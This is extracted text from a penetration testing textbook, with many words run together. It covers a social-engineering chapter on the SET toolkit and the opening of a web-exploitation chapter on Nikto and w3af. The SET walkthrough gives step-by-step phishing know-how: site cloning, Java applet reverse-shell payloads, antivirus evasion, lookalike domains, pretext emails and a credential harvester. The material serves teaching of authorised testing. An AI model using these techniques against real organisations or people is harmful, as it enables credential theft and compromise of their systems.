SummaryThischapterfocusedonstep3ofourbasicmethodology:exploitation.Exploitationistheprocessmostnewcomers associate directly with “hacking”. Because exploitation is a broad topic, the chapterexamined several different methods for completing this step including using the online passwordcrackerMedusatogainaccesstoremotesystems.Theprocessofexploitingremotevulnerabilitieswith

Page 124: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Metasploit was discussed as well as several payloads that can be used with Metasploit. JtR wasintroducedforcrackinglocalpasswords.Atoolforpasswordresettingwasshownforthosetimeswhenapenetrationtesterdoesnothavetimetowaitforapasswordcracker.Wiresharkwasusedtosniffdataoffthenetworkandmacofwasusedtosniffnetworktrafficonaswitchednetwork.Finally,Armitagewasshownasaone-stopshopfortheexploitationphase.

Page 125: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

CHAPTER5

SocialEngineering

InformationinThisChapter:TheBasicsofSETWebsiteAttackVectorsTheCredentialHarvesterOtherOptionswithinSET

IntroductionThis chapter focuses on taking what you learned in Chapter 2 and continuing to build upon yourknowledge of social engineering. You will also learn the importance of making a believable attackvector. Social engineering is one of the easiest techniques that can be used for gaining access to anorganizationor individualcomputer;yet it canbeoneof themostchallenging ifyoudonotdoyourhomeworkonyourtargetandvictims.Agoodsocialengineerexpertwillspendtimecraftinghisorherpretext(attackvector)andformulateabelievablefantasythathaseverydetailaccountedfor.Thisattackhastobebelievableenoughthatnonegativeperceptionsarecreatedontherecipientsendandthatnoalarmsareraisedduringtheprocessofmakingthefantasyareality.OneofmyfavoritesocialengineeringengagementswasperforminganattackagainstaFortune1000

organization.Theattacktookadvantageofexpiringmedicalbenefitsunlessanemployeesignedoffonthe policy. This is the perfect attack because it plays on human emotions, however stayswithin theconfinesofnormalbehaviorandexpectationsasanemployee.Whentheattackwentout, itwasonlysent to four people (in order to not create alarms). The success rate ended up being 100%. This allpurelydependsonhowmucheffortandtimeyouputintomakingyourattackbelievable.Thesocial-engineertoolkit(SET)isatoolthathelpsautomatesomeinsanelycomplextechniquesand

makeyourattacksbelievable.Atoolisjustthat,atool.ThinkofSETasasword.Theswordisonlyasgood as the swordsman’s skill and understanding of how to use the sword. Understanding how to

Page 126: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

customizeanduse theSETto its fullestcapacitywillmakeyoursuccess ratiosonsocial-engineeringattacksextremelysuccessful.SowhatisSET?SETisanexploitationframeworkpurelydedicatedtosocialengineering.Itallows

you to rapidly create a number of advanced attack vectors without the need of a significantprogrammingbackgroundoryearsofmaturity.SEThasbecomethestandardforpenetrationtesters,andamethod for attacking organizations and identifying howwell they can withstand a targeted attackthroughsocial-engineeringmethods.

TheBasicsofSETInKali,asyouknow,thefolderstructureplacesthebinariesin/usr/bin/<insert_toolname_here>andtheactualfilesfortheapplicationin/usr/share/<insert_toolname_folder_here>.SETisnodifferentinKaliandinstallsinthe/usr/share/setoolkitdirectoryandcanbestartedanywherefromthecommandlinebyissuingthefollowingcommand:

se-toolkit

This will take you to the main SET interface. There are a few options available as depicted inFigure5.1.

FIGURE5.1 Themenuswithinthesocial-engineertoolkit(SET).

SETisamenu-drivensystemthatallowsyou tocustomizeyourattack to the targetyouareusing.Note thatyoucanalsoedit theconfigfileunder /usr/share/setoolkit/config/set_configwhichwillalsoallowyou to expand howSETperforms to your liking.Once inside themenu system, you have theabilitytoupdateMetasploitorSETwithoption5and6.Option1placesyouintothesocial-engineeringattacks,andoption2placesyouintodirectexploitationtoolsthroughtheFast-Trackmenu.Wewillbefocusingonoption1,which is primarilywhere the social-engineering attacks are located. If you arefollowingalong,hitnumber1tobringusintothesocial-engineeringattacksasshowninFigure5.2.

Page 127: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE5.2 Insidethesocialengineeringmenus.

Onceinside,themenusgiveyoutheavailableoptionsforthesocial-engineeringattacks.Letusdoaquickbreakdownoftheattackvectors.Becausewearecoveringthebasicswewillnotbedivingintoeachone,butanunderstandingmayhelpyoudowntheroad.Thespearphishingattacksarespeciallycraftede-mailswithmaliciousattachments.Thismayseemlikewhatyouhearaboutallthetimeinthenews,buttheseattackvectorscanbeverydifficulttopulloff.Forexample,themajorityofexploitsthatcomesoutforAdobe,Office,andothersareusuallyquicklypatchedandarealmostinstantlydetectedbyantiviruswhenfirstreleased.Asanattacker, andespeciallygoing intoanorganizationasapenetration tester,youwill typically

onlyhaveoneshottopulloffyourattack.Exploitsthemselvesareextremelyspecificonversioning.Letustakealookatanexample:In2013,ScottBellreleasedaMetasploitmoduleforanInternetExploreruse-after-freevulnerability.WhenusingtheInternetExplorerexploit,simplybrowsingtothemaliciouswebsitewouldcompromiseyourcomputer.Thiswasanamazingexploitandatrulygreatexampleofprecision and research. The only issue with this exploit is it only supported Internet Explorer 8 onWindowsXPSP3asshowninFigure5.3.

Page 128: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE5.3 TargetforIE8onWindowsXPSP3only.

Onceagain, it is important topointout thatScott’swork isnothingshortofamazing.Donotevertrivializeorunderestimatetheamountofworkandgeniusittakestodiscoverandweaponizeanexploitlike this.However,asmentionedearlier,mostexploitsareveryversionspecific.Themainreasonforthis is due to additional protectionmechanisms in later versionsof InternetExplorer aswell as howexploitsworkbyusingmemoryaddresses.EachversionofInternetExplorerorWindows(evengoingintoservicepacks)hasdifferentmemoryaddresses.Thismeansthatinorderforanexploittowork,ithastobespecificallydesignedfortheoperatingsystem,InternetExplorerversion,andservicepack.Inordertogettheexploittoworkonmultipleotherplatforms,youwouldneedtospendsignificanttimeand research customizing the exploit for other platforms.There are examples of “universal” exploitswhich take advantage of common or sharedmemory addresses. This allows the exploit to work onmultipleplatforms.Asanexample,Chris“g11tch”HodgesreleasedaMicrosoftWordzero-dayexploitin 2013 (http://www.exploit-db.com/exploits/24526/) thatworked onmultiple platforms. This exploitmaybeagoodmethodtotargetanorganization;however,ifyouuploadittoVirusTotal,ithasaverylargedetection ratio by antivirus vendors.Wewould need to heavily obfuscate our code in order tocircumventbasicprotections thatcorporationshave.Sincewehaveall thesehurdleswehave todealwith, oftentimes in social engineering, you need a route that you knowwill be successful. Targetedspearphishingisgoodaslongasyouknowyourtargetinsideandout.AttachingoutoftheboxPortableDocumentFormatsorWorddocumentsthatcontainexploitsrarelyworks.

WebsiteAttackVectorsOneofSET’sflagshipattackvectorsisthewebsiteattackvectors.Theattacksbuiltintothisgrouparehighly successful and take advantage of believability (our friend in social engineering (SE)).Whennavigating SET, youwill find themenu shown in Figure5.4 if you select option 2 from the social-engineeringattacks.

Page 129: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE5.4 InsidetheJavaappletattackmethod.

The twomainattackswewillbe focusingonare the Javaapplet attackmethodand thecredentialharvester.TheJavaappletattackisanattackthatdoesnottakeadvantageofthelatestsexyexploit,buttakesadvantageofhowJavawasdesigned.WithJava,therearefull-fledgedapplicationscalledapplets.TheseappletsarewritteninJavaandareoftenusedinproductionapplicationsallaroundtheworld.Forexample,Cisco’sWebExutilizesJavaappletsinordertolaunchonlinewebconferencing.Appletsareextremelycommoninwebapplicationsandsomethingthatishighlybelievableundertherightpretext.Selectnumberone,thennumbertwoforthesitecloner.SETwillautomaticallygoouttoawebpage,cloneit,rewriteitwithamaliciousJavaapplet,rewritethewebpagetoinjecttheapplet,setupawebserver,andcreatemultiplepayloadsforyouandallwithinafewminutes.Once you select the “site cloner”, select “no” for Network Address Translation (NAT) or port

forwarding.Thiswouldbeusedonlyifyouwerebehindarouterandhadportforwardinginplaceandneededtoforwardports.Next,entertheInternetprotocol(IP)addressofyourmachine(theattacker)asshowninFigure5.5.

Page 130: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE5.5 EntertheIPaddressofyourattackmachine.

Next,wespecifywhatpagewewanttoclone,wewillusehttps://www.trustedsec.comasourtarget.You should notice that it clones and places you in a menu to select your payloads as shown inFigure5.6:

FIGURE5.6 PayloadselectionwithinSET.

Youcanselectwhateveryouaremostcomfortablewith.TheSEtoolkitinteractiveshellisbuiltintotheSETandanicealternativetometerpreteralthoughnotasfeaturerich.MypersonalfavoritesarethePyInjectorandMultiPyInjectorattackvectors.Oftentimes,antivirusflagsonstaticbinariesandmostmeterpreterpayloadsoutoftheboxgetpickedupbyAntiVirus(AV).Inordertogetaroundthis,DaveKennedycreatedPyInjectorandMultiPyInjectorwhichinjectsshellcodestraightintomemorywithouttouchingdisk.Thisoftenconfusesorevadesantiviruscompletelyandallowsyoutohaveameterpretershellwithouttheworryofbeingdetected.Selectnumber15,thePyInjectorshellcodeinjection.Specifythe default port [443]; this is simplywhat portwill connect back to use (reverse).Wediscussed the

Page 131: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

reverseshellsinChapter4.Next, select 1 for theWindowsmeterpreter reverseTCPpayload.Whenyour screen is loading, it

shouldlooksimilartoFigure5.7.

FIGURE5.7 PayloadselectionwithinSET.

SET works by having multiple methods for attacking the target once the Java applet has beenaccepted. The first is utilizing a Powershell injection technique first developed byMatthewGraeber(http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html) which allows youtoutilizePowershelltoinjectshellcodestraightintomemorywithoutevertouchingdisk.Inadditiontothis technique, SET also uses a Powershell Execution Restriction Bypass attack that was originallyreleasedatDefcon18(http://www.youtube.com/watch?v=JKlVONfD53w)byDavidKennedy(ReL1K)andJoshKelley(winfang).Thesetwoattackscombineddeliveracripplingblowingainingremotecodeexecutiononasystem.ThesecondmethodisthePyInjectorthatyouspecifiedpreviously.Once SET is finished loading, it will launchMetasploit automatically. You should see something

similartoFigure5.8.

FIGURE5.8 OnceweareinMetasploit.

Next,usetheWindowstargetmachineandbrowsetothemaliciousclonedwebsite(residingonourKali machine) by entering the IP address of the attacker machine into the uniform resource locator(URL)ofthetargetmachine’sbrowser.YoushouldseesomethingthatlookssimilartoFigure5.9.

Page 132: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE5.9 TheJavaappletpopup.

Afterclicking“Iaccept”, then“run”youcanswitchback toyourKalimachine.At thispoint,youshouldnoticemultiplemeterpretershellsasshowninFigure5.10.

FIGURE5.10 MultipleshellsoncethevictimacceptstheJavaapplet.

Oncethevictimclicksrun,theyareredirectedbacktotheoriginalwebsiteandneverknewanythinghappened. In addition, if auserdecides tohit cancel, theappletwill reappear andnot allow them toclosetheirbrowser.Theonlywayarounditistogototaskmanagerandkillthebrowserorhitrun.Thisattackisextremelyeffectiveandcircumventsmostofthecurrentantivirusproductsinexistencetoday.Inaddition,newobfuscatedandencryptedpayloadsareautomaticallygeneratedanduploadedtoSETevery2h.AlwaysensureyouarerunningthelatestversionofSET.

ALERT!Always,always,alwaysupdateSETbeforerunningit!DaveisabeastwhenitcomestocodingandupdatingSET.At thevery least, youwill getnewencryptedpayloadsevery2h.Thiscanbeextremelyhandyinbypassingantivirus.

Page 133: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Thisattackvectorworkswell;however,thereareafewthingsthatweneedtotakeintoconsiderationwhenpullingthisoff.First,weneedtocloneorcreateawebsitethatwillbebelievabletothecompanywearetargeting.Inthisexample,ifweweretargetingTrustedSec,wemaywanttocloneanHRportal,extranetwebsite,timesystem,orothersystemsthattheymaybefamiliarwith.Also,oneclearindicatorthatthiswebsiteisafakeistheIPaddressintheURLbarasshowninFigure5.11.

FIGURE5.11 NoticetheIPaddresswhenusingthewebsite.

Inordertomakethisbelievable,itishelpfultoregisteradomainname(usuallybetween$5and20)thatlookssimilartothetargetwebsite(TrustedSec.com).Forexample,sayIwascloningawebsitefromTrustedSec called webportal.trustedsec.com. Registering webportal-trustedsec.com would be a goodchoice.Wouldtheend-usernoticethedifference?Probablynot.Itisimportanttoalwaysrememberthatyourattackvectorneedstobebelievable.Next, youmay bewondering, how dowe get users to visit thewebsite? Remember the previous

examplewhenweusedabenefitsscaminordertocreateasenseofurgency?Anyscenarioalongtheselinescanbeagreatstartingpoint.Remember,inordertomakethissuccessful,weneedtocompletethefollowingsteps:Step1:SetupSETandgetitreadytogowithallourconfigurations(makesurethatSEThasaccesstotheInternet).

Step2:Registeradomainnamethatlooksbelievable.Step3:E-mailthecompanywithacrediblepretextthathasalinktoourmaliciousdomainname.Step4:Getshells.Remember, themoretimeandeffortyouspendonreconnaissanceandunderstandingthecompany,

themoresuccessful theattackwillbe.Onelast thing,since this isJava,SETcantargetanyplatformincludingLinux,MacOSX,Windows,andmore!Asanaddedbonus,itdoesnotmatterwhatversion,servicepack,orversionofJavaisinstalled.

TheCredentialHarvesterIntheprevioussection,wewentthroughtheJavaappletattack.Withinthewebsiteattackvectorsinthesocialengineeringattacks,thereisanotherattackcalledthe“credentialharvester”.SimilartotheJavaapplet, theharvesterwillcloneawebsiteandbasedonyourattack,allowyou tosendane-mail toavictimandattempttocollecttheircredentials.Thisisaverysimple,straightforward,andaneasywaytogetusercredentials.Whenyouareusingthisattack,oftentimesIrecommendregisteringadomainnamesimilar toyourtargets,aswellasplacingavalidSSLcertificateonthewebsite tomakeit“HTTPS”.UsersareoftentrainedtonottrustwebsitesthathaveHTTPinthemandpasscredentials.In the“websiteattackvectors”, selectoption3“thecredentialharvester”, thenselect“sitecloner”,

then enter your (attack machine) IP address and clone any website you want for examplehttps://gmail.com.Once thewebsite iscloned,usea targetmachine tonavigate to theclonedwebsite

Page 134: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

andentercredentialsasifyouwereloggingin.Figure5.12showstheclonedwebsite.

FIGURE5.12 EnteringourcredentialsonthefakeGmailwebsite.

Oncetheuserenterstheirusernameandpassword,theyareredirectedbacktothelegitimateGmailwebsite.Movingbacktoourattackmachine(runningSET),wenowhavetheusernameandpasswordthatwasenteredbytheuser.Figure5.13showsthecapturedcredentials.

FIGURE5.13 Credentialsharvestedfromthewebsite.

We now have the user name and password for the affected Gmail user. Just to be clear, in thisexample,aspenetrationtesters,wewouldnotreallytargetGmail;thatwouldnotmakemuchsense.WewouldtargetanExchangeserver,anextranetportal,orsomethingbelievablethatauserwillentertheirusernameandpasswordsothatwecancaptureandusethosecredentialstoaccesssensitiveresourcesofthetargetcompany.Oneofmypersonalfavoriteswiththisattackvectorisanemployeesatisfactionsurvey.You start the e-mail off by saying that in order tomake the company a better place,we aretakingasurveyofemployeesatisfactionandhowtomaketheplacebetter.Thefirst50employeeswhofillthesurveyoutreceiveafreeAppleiPhoneandwillonlytake1mintocomplete.EveryonewantsafreeiPhone,whereisthelink?Clickclickclick,credentialsentered,boom.WhereismyiPhone?Thisattackisgreat,butwhatifyoucoulddotheJavaappletattackandthecredentialharvester?Well,

SEThasawaytodothattoo!Themultiattackvectorisoption7withinthe“webattackvectors”whichallowsyoutouseasmanywebattackvectorsasyouwant.IfyouwantthevictimtofirstgethitwiththeJava applet attack and then enter their credentials, you have the option to havemultiple attacks all

Page 135: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

withinonewebsite.Thiscanbeimportantandincreaseyoursuccessratebecauseifoneattackvectorfails,youhavemultipleothermethodsasabackup.Rememberyoumayonlyhaveonechance todothis;youwanttobepreparedandthinkofeveryscenario.

OtherOptionsWithinSETHeadbackintothemainmenuwithinthesocial-engineeringattacksasshowninFigure5.14.

FIGURE5.14 Insidethesocialengineeringmenus.

There are plenty of other attack vectorswithin SET, from the social-engineering attacks; option 3allowsyoutogenerateauniversalserialbusthumbdrivewithamaliciouspayload.Whenpluggedin,anautorunscriptwillkickinandexecutethepayload.Adownfall tothisattackisthetargetneedstohave autorun enabled for this to work.Most companies automatically disable this feature. Option 4allows you to create a payload and a listener. Thiswould be useful if you already have access to acomputer andwant to deploy one ofSET’s payloads that aremore obfuscated in order to evadeAVbetter.You can simply create the payload, copy the file over, double click or execute it and have itconnectbacktothelistenerautomatically.Option5allowsyoutosendmasse-mailsfromane-maillistyoumayhave.ThisisprettysimplebutsupportstheabilitytouseHTMLe-mailsandsendmasse-mailstoacompany.Option6isoneofmypersonalfavorites,theArduinoattackvectors.ArduinoisaCderivativeand

allowsyou toprogrammicrocontrollers.Onedevicecalled the“teensy” fromprjc.comallowsyou toprogramadevicetobeanythingyouwant.WithinSET,youhavetheabilitytoprogramthisboardtobeamouse and a keyboard.Once programmed, you can plug it into a computer and itwill bypass theautorunfunctionalitybecauseitemulatesakeyboardandopensabackdooronthecomputer.Thisisanincrediblypowerfultechniqueandallowsyoutogaincompletecontrolandusethemachinewithafullmeterpreter shell.Therearealsoanumberofotherattacksandpayloads inside thisoption.Option7allows you to spoof short message service text messages as long as you have an account with theproviders.Option8allowsyoutocreateyourownWiFiaccesspointoutofyourcomputerincludingaDHCP

andDNSserver.Whenthevictimattemptstogotoanindividualwebsite, theyareredirectedbackto

Page 136: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

yourcomputerwiththeSETattacks.YoucouldcreateacaptiveportalthatsaysyouneedtoaccepttheJavaappletbeforeyoucancontinue.This is alwaysagoodoptionwhen targetingacorporationasapenetrationtester.Option9allowsyoutocreateyourownQRCodethatoncescanned,redirectthescanningmachineto

yourSET(attack)computer.Figure5.15isanexamplethatdirectsthescanner’sbrowsertoTrustedSec.

FIGURE5.15 CreatingaQRCodethroughSET.

Thelastmenu,option10includesthePowershellattackvectors.PowershellwasbrieflymentionedintheJavaappletsectionofthischapterbutPowershellisReallyPowerful!ItisanamazingtoolfromapostexploitationperspectiveandanumberoftheleadingPowershellfolkslikeCarlosPerez,MatthewGraeber,JoshKelley,andDavidKennedyhavedoneasignificantamountofdevelopmentonthisfront.Anumberof these attackshavebeen included intoSET.ThePowershell attacks are a seriesof codeattacks that can be executed once you have already compromised a system. SETwill automaticallygeneratethecodeforyou,andrewriteittobypassexecutionrestrictionpolicies.

SummarySET is an extremely powerful tool aimed at targeting one of the weakest areas in any informationsecurityprogram:theusers.Itisoftentrivialtocallsomeoneonthephoneandpersuadethemtovisitawebsitewhichinfectstheircomputerandfullycompromisesthemachine.Oraspreviouslymentioned,youcouldusebelievablee-mailsthatcoaxthemintoclickingalink.Socialengineeringsuccessoftenhingesonplausibilityandcredibility.SETmakesitextremelysimpleforyoutobeabletocreateattackseffectively.BesuretoupdateSETonaregularbasisasitisupdatedevery2h.

Page 137: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

CHAPTER6

Web-BasedExploitation

InformationinThisChapter:TheBasicsofWebHackingNikto:InterrogatingWebServersw3af:MorethanJustaPrettyFaceSpidering:CrawlingYourTarget’sWebsiteWebScarab:InterceptingWebRequestsCodeInjectionAttacksCross-SiteScripting:BrowsersthatTrustSitesZAP:PuttingitAllTogetherUnderOneRoof

IntroductionNow that you have a good understanding of common network-based attacks, it is important to takesome time to discuss the basics of web-based exploitation. The web is certainly one of the mostcommonattackvectors available todaybecauseeverything is connected to the Internet.Nearly everycompanytodayhasawebpresence,andmoreoftenthannot, thatwebpresenceisdynamicanduser-driven. Previous-generation websites were simple static pages coded mostly in hypertext markuplanguage (HTML). By contrast, many of today’s websites include complex coding with back-enddatabase-driven transactions and multiple layers of authentication. Home computers, phones,appliances,andofcoursesystemsthatbelongtoourtargetsareallconnectedtotheInternet.Asourdependenceandrelianceonthewebcontinuestoexpand,sodoestheneedtounderstandhow

thisattackvectorcanbeexploited.A few years back, people started using words like “Web 2.0” and “cloud-based computing” to

describeashift in thewaywe interactwithoursystemsandprograms.Simplyput, these termsareachange in the way computer programs are designed, run, accessed, and stored. Regardless of what

Page 138: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

wordsareused todescribe it, the truthof thematter is that the Internet isbecomingmore andmore“executable”. It used to be that programs likeMicrosoft Office had to be installed locally on yourphysicalcomputer.NowthissamefunctionalitycanbeaccessedonlineintheformofGoogleDocsandmanyothercloudcomputingservices. Inmany instances, there isno local installationandyourdata,yourprograms,andyourinformationresideontheserverinsomephysicallydistantlocation.Asmentionedearlier,companiesarealsoleveragingthepowerofanexecutableweb.Onlinebanking,

shopping,andrecordkeepingarenowcommonplace.Everythingisinterconnected.Inmanyways,theInternet is like the new “wild west”. Just when it seemed like we were making true progress andfundamentalchanges to thewayweprogramandarchitectsystemsoftware,alongcomes theInternetandgivesusanewwaytorelearnandrepeatmanyofthesecuritylessonsfromthepast.Aspeoplerushtopusheverythingtothewebandsystemsaremashedupanddeployedwithworldwideaccessibility,newattacksaredevelopedanddistributedatafuriouspace.Itisimportantthateveryaspiringhackerandpenetrationtesterunderstandatleastthebasicsofthe

web-basedexploitation.

TheBasicsofWebHackingInthepreviouschapter,wediscussedMetasploitasanexploitationframework.Rememberaframeworkprovidesuswithastandardizedandstructuredapproach toattacking targets.Therearemanychoiceswhen it comes toweb application-hacking frameworks includingWebApplicationAudit andAttackFramework(w3af),BurpSuite,OpenWebApplicationSecurityProject’s(OWASP)ZedAttackProxy(ZAP), Websecurify, Paros, and many more popular options. No matter the tool you pick, subtledifferencesaside(atleastfrom“thebasics”perspective),theyalloffersimilarfunctionalityandprovideanexcellentvehicletoattacktheweb.Thebasicideaistouseyourbrowserinthesamewaythatyoualwaysdowhenvisitingawebsite,butsendalltrafficthroughaproxy.Bysendingthetrafficthroughaproxy,youcancollectandanalyzeallyourrequestsaswellastheresponsesfromthewebapplication.These toolkits provide a vast array of functionality, but it all boils down to a couple ofmain ideasrelatedtowebhacking:

1.Theabilitytointerceptrequestsastheyleaveyourbrowser.Theuseofaninterceptingproxyisakeyasitallowsyoutoeditthevaluesofthevariablesbeforetheyreachthewebapplication.Thisfunctionalityisprovidedbyaninterceptingproxy,whichisaseminaltoolthatmostcommonweb-hackingframeworksprovide.Atthecoreofwebtransactions,theapplication(thatishousedonthewebserver)istheretoacceptrequestsfromyourbrowserandserveuppagesbasedontheseincomingrequests.Abigpartofeachrequestisthevariablesthataccompanytherequest.Thesevariablesdictatewhatpagesarereturnedtotheuser.Forexample,whatisaddedtoashoppingcart,whatbankaccountinformationtoretrieve,whichsportsscorestodisplay,andalmosteveryotherpieceoffunctionalityoftoday’sweb.Itiscriticaltounderstandthat,astheattacker,youareallowedtoadd,edit,ordeleteparametersinyourrequest.Itisalsocriticaltounderstandthatitisuptothewaitingwebapplicationtofigureoutwhattodowithyourmalformedrequest.

2.Theabilitytofindallthewebpages,directories,andotherfilesthatmakeupthewebapplication.Thegoalistoprovideyouwithabetterunderstandingoftheattacksurface.Thisfunctionalityisprovidedbyanautomated“spidering”tool.Theeasiestwaytouncoverallthefilesandpagesonawebsiteistosimplyfeedauniformresourcelocator(URL)intoaspiderandturntheautomatedtoolloose.However,itisimportanttounderstandthatawebspiderwill

Page 139: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

makeseveralhundreds,oreventhousands,ofrequeststothetargetwebsite,sothereisnostealthinvolvedinthisactivity.Astheresponsesreturnfromthewebapplication,theHTMLcodeofeachresponseisanalyzedforadditionallinks.Anynewlydiscoveredlinkswillbeaddedtothetargetlist,spidered,cataloged,andanalyzed.Thespidertoolwillcontinuetofireoffrequestsuntilalltheavailablelinksdiscoveredhavebeenexhausted.Inmostcases,thistypeof“setitandforgetit”spideringwillbeveryeffectiveinfindingthemajorityoftheweb-attacksurfaces.However,itwillalsomakerequestsbasedonANYlinkthatitfinds,sointheeventyouloggedintothewebapppriortospidering,ifthespidertoolfindsalinkto“logout”ofthewebsite,itwilldosowithoutnotificationorwarning.Thiswouldeffectivelypreventyoufromdiscoveringanyadditionalcontentthatisonlyallowedtoauthenticatedusers.Bemindfulofthiswhenspideringsoyouknowwhichareasofthewebsiteyouareactuallydiscoveringcontentfrom.Youcanalsospecifyexactdirectoriesorpathswithinthetargetwebsitetoturnthespideringtoolloose.Thisfeatureprovidesagreatersenseofcontroloveritsfunctionality.

3.Theabilitytoanalyzeresponsesfromthewebapplicationandinspectthemforvulnerabilities.ThisprocessisverysimilartohowNessusscansforvulnerabilitiesinnetworkservices,butnowweareapplyingthesamelineofthinkingtowebapplications.Asyoueditvariablevalueswithaninterceptingproxy,thewebapplicationwillhavetorespondbacktoyouinsomeway.Likewise,whenascanningtoolsendshundredsorthousandsofknown-maliciousrequeststoawebapplication,theapplicationmustrespondinsomeway.Theseresponsesareanalyzedforthetelltalesignsofapplication-levelvulnerabilities.Thereisalargefamilyofwebapplicationvulnerabilitiesthatarepurelysignaturebased,soanautomatedtoolisaperfectmatchforthissituation.Obviously,thereareotherwebapplicationvulnerabilitiesthatcannotbenoticedbyanautomatedscanner,butwearemostinterestedinthe“low-hangingfruit”typeofwebvulnerabilities.Thevulnerabilitiesthatcanbefoundbyusinganautomatedwebscannerarenotirrelevant,butinsteadareactuallysomeofthemostcriticalfamiliesofwebattacksinthewildtoday:structuredquerylanguage(SQL)injection,cross-sitescripting(XSS),andfilepathmanipulationattacks(alsocommonlyknownasdirectorytraversal).

Nikto:InterrogatingWebServersAfterrunningaportscananddiscoveringaservicerunningonport80orport443,oneofthefirsttoolsthatshouldbeusedtoevaluate theservice isNikto.Nikto isawebservervulnerabilityscanner.ThistoolwaswrittenbyChrisSulloandDavidLodge.Niktoautomatestheprocessofscanningwebserversforout-of-dateandunpatchedsoftwareaswellassearchingfordangerousfilesthatmayresideonwebservers.Nikto iscapableof identifyingawiderangeofspecific issuesandalsochecks theserver forconfigurationissues.ThecurrentversionofNiktoisbuiltintoKaliandisavailableinanydirectory.IfyouarenotusingKali,oryourattackmachinedoesnothaveacopyofNikto, it canbe installedbydownloading it from the http://www.cirt.net/Nikto2 website or running the “apt-get install Nikto”commandfromaterminal.PleasenoteyouwillneedPerlinstalledtorunNikto.Toviewthevariousoptionsavailable,youcanrunthefollowingcommandfromanycommandline

withinKali:nikto

Runningthiscommandwillprovideyouwithabriefdescriptionoftheswitchesavailabletoyou.Torunabasicvulnerabilityscanagainstatarget,youneedtospecifyahostInternetprotocol(IP)addresswiththe“–h”switch.Youshouldalsospecifyaportnumberwiththe“–p”switch.Niktoiscapableof

Page 140: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

scanningsingleports,multipleports,orrangeofports.Forexample,toscanforwebserversonallportsbetween1and1000,youwouldissuethefollowingcommandinaterminalwindow:

nikto-h192.168.18.132–p1-1000

Toscanmultipleports,whicharenotcontiguous,separateeachporttobescannedwithacommaasshownbelow:

nikto-h192.168.18.132–p80,443

Ifyoufailtospecifyaportnumber,Niktowillonlyscanport80onyourtarget.IfyouwanttosavetheNiktooutputforlaterreview,youcandosobyissuingthe“–o”followedbythefilepathandnameofthefileyouwouldliketousetosavetheoutput.Figure6.1includesascreenshotoftheNiktooutputfromourexample.

FIGURE6.1 OutputofNiktowebvulnerabilityscanner.

w3af:MorethanJustaPrettyFaceThew3afisanawesometoolforscanningandexploitingwebresources.w3afprovidesaneasy-to-useinterface that allows penetration testers to quickly and easily identify nearly all the top web-basedvulnerabilitiesincludingSQLinjection,XSS,fileincludes,cross-siterequestforgery,andmanymore.w3afiseasytosetupanduse;thismakesitveryhandyforpeoplewhoarenewtowebpenetration

testing. You can access w3af by clicking on the Applications → Kali Linux → WebApplications→w3afasshowninFigure6.2.

Page 141: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

FIGURE6.2 Kalimenutoaccessandstartw3afGUI.

w3afcanalsobeaccessedviatheterminalandissuingtheflowingcommand:w3af

Whenw3afstarts,youwillbepresentedwithaGraphicalUserInterface(GUI)similartoFigure6.3.

FIGURE6.3 Settingupascanwithw3af.

Themainw3afwindowallowsyoutosetupandcustomizeyourscan.Ontheleftsideofthescreen,youwillfinda“Profiles”window.Selectingoneofthepredefinedprofilesallowsyoutoquicklyrunaseriesofpreconfiguredscansagainstyourtarget.Figure6.3showstheOWASP_TOP10profileselected.Asyoucanseefromtheprofiledescription(presentedintherightpane),selectingtheOWASP_TOP10

